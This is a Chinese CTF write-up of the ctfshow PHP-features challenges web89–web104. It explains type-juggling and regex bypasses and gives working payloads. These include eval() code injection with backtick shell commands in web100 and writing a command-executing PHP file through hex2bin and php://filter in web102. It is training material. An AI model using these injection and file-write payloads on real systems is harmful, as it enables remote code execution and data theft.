ctfshow----php特性(89-104)

news2025/1/16 18:53:21

目录

web89  preg_match函数 、数组

web90  intval()函数、强比较

web91  正则修饰符

web92  intval()函数、弱比较

web93  八进制、小数点

web94  strpos() 函数、小数点

web95  小数点

web96   highlight_file() 下的目录路径

web97  数组

web98  三目运算符

web99   in_array函数

web100   优先级

web101 反射类

web102   call_user_func;file_put_contents

web103

web104  sha1


web89  preg_match函数 、数组

include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

intval() 函数用于获取变量的整数值。

intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

PHP 4, PHP 5, PHP 7

 但是 preg_match函数无法处理数组,所以构建一个数组,num[ ]=后面可以随便填一些数字也可以不填,就可以直接出来。

web90  intval()函数、强比较

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){     强类型判断 不仅判断值,还会判断类型
        die("no no no!");
    }
    if(intval($num,0)===4476){   //从num的第一个位置开始转换成整形数据
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 

intval函数取的是我们所输入内容开头的整数,当我们输入的num的值为123a的时候,经过intval函数的转化,就变成了123

所以第一种方法,让num的值等于4476a

再来看一下intval的语法:

int intval ( mixed $var [, int $base = 10 ] )

参数说明:

    $var:要转换成 integer 的数量值。
    $base:转化所使用的进制。

如果 base 是 0,通过检测 var 的格式来决定使用的进制:

    如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
    如果字符串以 "0" 开始,使用 8 进制(octal);否则,
    将使用 10 进制 (decimal)。

4476的16进制:0x117c

4476的8进制:010574
 

第二种方法:

num=010574或者num=0x117c

 

 

web91  正则修饰符

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){   //以php开头并且以php结尾,多行匹配,i表示不区分大小写
    if(preg_match('/^php$/i', $a)){  //单行匹配以php开头,同时也以php结尾
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
} 

正则修饰符:

i:不区分大小写,这里就是将匹配的目标设置为不区分大小写,即php和PHP没有区别

m:表示多行匹配

   

使用边界字符 ^ 和 $ 匹配每一行的开头和结尾,记住是多行,而不是整个字符串的开头和结尾。所有行只要有一行匹配到了就返回1

^:匹配输入字符串的开始位置。$:匹配输入字符串的结束位置。

在默认的情况下,一个字符串无论是否换行只有一个开始^和结束$。如果增加了多行匹配的话(也就是说加上了m),那么每行都有一个开始^和结束$。

payload:?num=换行+php(%0aphp),所以经过第一个正则匹配的时候,由于是多行匹配,我们的payload中的第二行就是以php开始以php结束的。经过第二个正则匹配的时候,因为payload是%0aphp,便不符合以php开始以php结束。执行else。

web92  intval()函数、弱比较

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

与90关类似

把十进制转化为十六进制与八进制即可

num=010574或者num=0x117c

web93  八进制、小数点

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

过滤了字母,所以可以用8进制或者小数点

/?num=010574

/?num=4476.1   //传入小数会直接取整从而实现绕过

 

 

web94  strpos() 函数、小数点

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
} 

strpos() 函数

查找字符串在另一字符串中第一次出现的位置(区分大小写)。

返回值: 返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。注释: 字符串位置从 0 开始,不是从 1 开始。

所以strpos函数的意思就是查找0在$num中的位置是否是0(此处就是过滤了八进制的方法),只能使用小数的方法去绕过。且小数位还要存在一个0,假设我们的payload为4476.3,那么在经过strpos函数的时候,没有找到0,那么就会返回FALSE,在经过前面的!,就变成了TRUE。所以我们需要在小数的某一个位置带上0,绕过strpos函数。

payload:?num=4476.0

web95  小数点

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

增加了对点的过滤,同时需要满足:

$num的值不能是4476

不能含有大小写字母

num中必须包含着0,但是开头不能是0

可以使用换行或者空格或者+号,再加上八进制来绕过。

    payload:
        ?num= 010574 //注意有空格
        ?num=%20010574
        ?num=%0a010574
        ?num=+010574
        ?num=%09010574
        ?num=%2b010574

+的url编码是%2b

空格的编码是%20

web96   highlight_file() 下的目录路径

highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    } 

先随便传个参数,看到文件的路径

 构造payload:

/?u=/var/www/html/flag.php              绝对路径
/?u=./flag.php                          相对路径
/?u=php://filter/resource=flag.php      php伪协议  

php://filter

官方:php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

php://filter参数:
resource=<要过滤的数据流> : 这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> :该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> : 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表>    任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
 

之前写过有关php://filter的学习笔记

php://filter_php://filter/_木…的博客-CSDN博客

web97  数组

md5弱类型比较可以直接数组绕过,其结果都会转换为null

a[]=1&b[]=2

web98  三目运算符

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
&是引用符号,意思是:不同的名字访问同一个变量内容。php的引用是在变量或者函数、对象等前面加上&符号,PHP 的引用允许你用两个变量来指向同一个内容

$_GET?$_GET=&$_POST:'flag';意思:如果有GET传参的话,那么就将$_POST传入的参数赋值给$_GET变量,换句话说就是POST传入的参数和GET传入的参数是相同的。之后我们就可以通过POST来覆盖掉GET的值。

highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__)意思:如果有通过GET方法传参'HTTP_FLAG=flag',就highlight_file($flag)。否则highlight_file(__FILE__)

web99   in_array函数

highlight_file(__FILE__);
$allow = array();  //创建一个空数组
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));   //往$allow 末尾追加一个随机数
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){  //搜索
    file_put_contents($_GET['n'], $_POST['content']);    //把content的数据写入到n中
} 

array_push函数:用于将一个或多个元素插入/推入数组

rand()函数:随机生成数组rand(min,max)

file_put_contents() 函数:把一个字符串写入文件中。

该函数访问文件时,遵循以下规则:

  1. 如果设置了 FILE_USE_INCLUDE_PATH,那么将检查 *filename* 副本的内置路径
  2.  如果文件不存在,将创建一个文件
  3.  打开文件
  4.  如果设置了 LOCK_EX,那么将锁定文件
  5.  如果设置了 FILE_APPEND,那么将移至文件末尾。否则,将会清除文件的内容
  6.  向文件中写入数据
  7.  关闭文件并对所有文件解锁

如果成功,该函数将返回写入文件中的字符数。如果失败,则返回 False。
 

​ 

访问1.php

 

发现包含flag的文件是flag36d.php,读取这个文件

 

web100   优先级

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);  //因为赋值符号的优先级要高于`and`和`or`,所以v0的值只与is_numeric($v1)有关,也就是只要v1为数字即可。
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }  //几乎没有过滤,而且对于v3不仅没有过滤,还要求你有斜杠和分号,就当是提示了吧。直接构造语句执行
    }
    
} 

is_numeric ——检测变量是否为数字或数字字符串 ,为数字或字符串时返回为真。 

因为 &&与||的优先级是高于and与or的
=的优先级高于and与or,所有 v 1为数字即可让,即可让 v1为数字即可让v0为True
构造出:var_dump($ctfshow);

payload:

?v1=1&v2=var_dump($ctfshow)/*&v3=*/;      //利用注释符号/**/

也可以利用?>和<?=

?v1=1&v2=&v3=?><?=`cat ctfshow.php`;  //反引号执行命令

​ 

 

web101 反射类

反射类可以说成是类的一个映射,可以利用反射类来代替有关类的应用的任何语句

其属性为类的一个名称,这道题目里面类的名称为ctfshow

PHP Reflection API是PHP5才有的新功能,它是用来导出或提取出关于类、方法、属性、参数等的详细信息,包括注释。
$class = new ReflectionClass(‘ctfshow’); // 建立ctfshow这个类的反射类
$instance = class −> newInstanceArgs(class->newInstanceArgs( class−>newInstanceArgs(args); // 相当于实例化ctfshow类

payload:?v1=1&v2=print new ReflectionClass&v3=;

外包ctfshow为ctfshow{02ac0609-3e71-4d4a-b38a-4d4910d05c0} 

把0x2d换成~

会发现少一位了然后就抓包爆破最后一位

web102   call_user_func;file_put_contents

<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}
?>

 回调函数:call_user_func(callback,parameter )

PHP函数详解:call_user_func()使用方法_call_user_func php_风雅的远行者的博客-CSDN博客

第一个参数 callback 是被调用的回调函数(一般为闭包函数),其余参数是回调函数的参数。

$v1:这里使用hex2bin()作为回调函数(16进制转化为字符)
$v2:这里要求全是数字。
$v3:使用PHP伪协议写入文件

    v3=php://filter/write=convert.base64-decode/resource=1.php

思路:首先我们要将一部分代码写入文件中但有代码可知我们要从v2中得到相关的代码,v2又需要是数字,所以我们要保证v2是数字,然后str是代码,可以先将v3使用伪协议用base64写入,所以这个时候的str是base64代码,call_user_func()函数为一个过度,hex2bin函数可以转换十六进制。V1要传入的是就是hex2bin函数,之后调用所以,v2应该是先base64然后是十六进制
 

$a='<?=`cat *`;';

$b=base64_encode($a);  // PD89YGNhdCAqYDs=
$c=bin2hex($b);      //等号在base64中只是起到填充的作用,不影响具体的数据内容,直接用去掉,=和带着=的base64解码出来的内容是相同的。

输出   5044383959474e6864434171594473
(带e的话会被认为是科学计数法,可以通过is_numeric检测)

v2=5044383959474e6864434171594473

因为是从下标为2的位置取的字符串,所以要在前面加两个数字(随意)
v2=005044383959474e6864434171594473

payload:

?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php

v1=hex2bin (post)

传参:

 访问1.php

 查看源代码

web103 

这题比较上一题就多了正则匹配,不能写入php,与上一题一样,这里就不赘述了

web104  sha1

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
} 

sha1与md5类似。都无法处理数组

get : v2[]=0
post: v1[]=1

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/829741.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

SFP和1×9光模块的区别对比

随着网络技术的不断发展&#xff0c;光纤通信作为一种高速、高带宽的传输方式&#xff0c;得到了广泛应用。SFP和19光模块是两种常见的低速光模块&#xff0c;它们在性能和应用方面也存在着一些区别。本文易天光通信将对SFP和19光模块进行对比&#xff0c;探讨它们的特点、优势…

共建数据未来,解密CIO的所思、所惑、所愿

‍数据智能产业创新服务媒体 ——聚焦数智 改变商业 在当前快速变化的商业环境中&#xff0c;企业首席信息官&#xff08;CIO&#xff09;的角色已经从以往的技术专家转变为战略决策者和创新推动者。随着全球数字化转型步伐的加速&#xff0c;CIO们扮演着至关重要的角色&#…

无人机电力巡检方案在电网安全与维护中的应用

目前&#xff0c;无人机技术已经在各行各业都有广泛的应用&#xff0c;其中之一就是在电力巡检中的应用。无人机电力巡检方案以其高效、安全、精准的特点&#xff0c;为电网安全与维护带来了重大突破和进步。 一、无人机电力巡检方案是高效巡检的利器 传统的电力巡检方式需要人…

ClickHouse使用阿里云服务相关

目录 概念相关问题查看阿里云文档ClickHouse相关Clickhouse分布式表应用修改点 概念 1.阿里云架构 2.节点 节点是逻辑概念&#xff0c;其架构也说明了集群默认包含1个或多个节点&#xff0c;或者说是分片(shard) 节点下包含一个或者多个服务器&#xff0c;具体包含几个&#…

Java限流算法实现与应用(计数器、漏桶、令牌桶、滑动窗口)

文章目录 一、什么是限流算法二、计数器算法1、概述2、Java实现计数器算法3、优缺点4、应用 三、漏桶算法1、概述2、Java实现漏桶算法3、优缺点4、应用 四、令牌桶算法1、概述2、Java实现令牌桶算法3、应用 五、滑动窗口算法1、概述2、Java实现滑动窗口算法3、应用 参考资料 一…

MySQL 重置root 密码

5.7 版本 首先要把服务mysql57 关闭 net stop MySQL57 在安装的mysql57的程序的bin中 运行cmd&#xff08;管理员运行&#xff09; mysqld --defaults-file‘mysql存放数据的位置\my.ini’ --skip-grant-tables 上图 错误 注意&#xff1a;如果遇到mysqld: Can’t change dir…

【FAQ】视频监控EasyCVR修改参数报错“database or disk is full”排查

EasyDarwin开源流媒体视频EasyCVR安防监控平台可提供视频监控直播、云端录像、云存储、录像检索与回看、智能告警、平台级联、云台控制、语音对讲、智能分析等能力。视频监控综合管理平台EasyCVR具备视频汇聚融合能力&#xff0c;平台基于云边端一体化架构&#xff0c;具有强大…

伯俊ERP和金蝶云星空单据接口对接

伯俊ERP和金蝶云星空单据接口对接 对接源平台:金蝶云星空 金蝶K/3Cloud在总结百万家客户管理最佳实践的基础上&#xff0c;提供了标准的管理模式&#xff1b;通过标准的业务架构&#xff1a;多会计准则、多币别、多地点、多组织、多税制应用框架等&#xff0c;有效支持企业的运…

太魔幻了!计算机就业哀鸿遍野,而高考生疯狂涌向计算机专业

在张雪峰推荐的几大专业里&#xff0c;计算机专业是其中之一。近几年&#xff0c;计算机专业报考热度不减&#xff0c;但就业前景却令人堪忧&#xff0c;互联网裁员接二连三&#xff0c;许多码农找不到工作。 一位网友感叹&#xff1a;一边是计算机就业哀鸿遍野&#xff0c;一…

网络安全进阶学习第十一课——MySQL手工注入(2)

文章目录 一、UA注入1、原理2、靶场演示&#xff1a;1&#xff09;一旦页面出现如下现状&#xff0c;就可以使用UA注入2&#xff09;BP抓包3&#xff09;修改User-Agent 二、referer注入1、原理2、靶场演示&#xff1a;1&#xff09;使用BP抓包2&#xff09;修改Referer 三、DN…

双比例阀控制器PVC-D2-25A-1X

两路独立工作、PQ独立控制、4/3比例方向阀控制、并联控制、输入指令0到10V输入接口&#xff0c;可切换为0(4)到20mA输入、工作电压DC24V、、、在放大器试运行前&#xff0c;应确保印刷电路板上SW 开关的功能设置符合相应的使用情况。放大器只有在断电后才可接线和改变SW 开关的…

QT - 建立页面

一、生成页面 二、实现 1.LineEdit 是一个单行输入文本框&#xff0c;为用户提供了比较多的编辑功能&#xff0c;例如选择复制、粘贴。 修改echomode属性为password Push Button(常规按钮) 三、程序 声明全局变量&#xff0c;属于MainWindow private: // 定义了一个指向Ma…

【ASP.NET MVC】MYSQL安装配置(4)

一、安装配置 1、下载MYSQL绿色版压缩包&#xff08;略&#xff09; 2、解压到目录&#xff0c;比如E:\mysql目录 3、设置环境变量 添加bin目录到path&#xff0c;方便运行Mysql的命令 先打开系统的《环境变量》配置 双击系统变量中的Path 添加Mysql的BIN目录到path: 4、在…

两个镜头、视野、分辨率不同的相机(rgb、红外)的视野校正

文章目录 背景实际效果查找资料资料1资料2 解决方案最终结果 背景 目前在做的项目用到两个摄像头&#xff0c;一个是热成像摄像头、另一个是普通的rgb摄像头。 一开始的目标是让他们像素级重合&#xff0c;使得点击rgb图像时&#xff0c;即可知道其像素对应的温度。但是在尝试…

GPU 容器虚拟化新能力发布和全场景实践

今天给大家分享的主题是百度智能云在「GPU 容器虚拟化」方面的最新进展和全场景实践&#xff0c;希望通过这次分享和大家一起探讨如何在实际业务场景更好的应用 GPU 容器虚拟化技术。 本次分享将首先介绍百度智能云 GPU 容器虚拟化 2.0 的升级变化&#xff0c;然后介绍新版本中…

pycharm——漏斗图

import pyecharts.options as opts from pyecharts.charts import Funnel""" Gallery 使用 pyecharts 1.1.0 参考地址: https://echarts.apache.org/examples/editor.html?cfunnel目前无法实现的功能:1、暂时无法对漏斗图的长宽等范围操作进行修改 ""…

销售管理怎么做?(企业老板销售负责人必看)

阅读本文您可以了解&#xff1a;1、销售管理的定义&#xff1b;2、销售管理的重要性&#xff1b;2、如何做好销售管理。 大家好&#xff0c;作为一名有着十年销售经验的顾问&#xff0c;今天就和大家聊聊怎么做好销售管理。 一、销售管理的定义 销售管理是一种组织和规划销售…

移动硬盘格式化,一招搞定!

“新买了个移动硬盘&#xff0c;才将一些文件保存进去。今天将移动硬盘与电脑连接后&#xff0c;却提示我只能将它格式化&#xff0c;否则无法使用。这是为什么呢&#xff1f;硬盘格式化怎么操作呢&#xff1f;” 在使用移动硬盘的时候&#xff0c;可能会由于各种原因&#xff…

解决码云gitee或者github出现The requested URL returned error: 403

出现场景 要把某个项目push到码云上&#xff0c;已经设置了仓库地址&#xff0c;在最后一步直接报错。 adodeMacBook-Pro:yimabao ado$ git push --set-upstream origin master remote: [session-774b45b9] Access denied fatal: unable to access https://gitee.com/mzmilk/…

构建vue项目配置和环境配置

目录 1、环境变量process.env配置2、vue package.json多环境配置vue-cli-service serve其他用法vue-cli-service build其他用法vue-cli-service inspect其他用法3、vue导出webpack配置4、配置打包压缩图片文件5、打包去掉多余css(由于依赖问题暂时未实现)6、打包去除console.…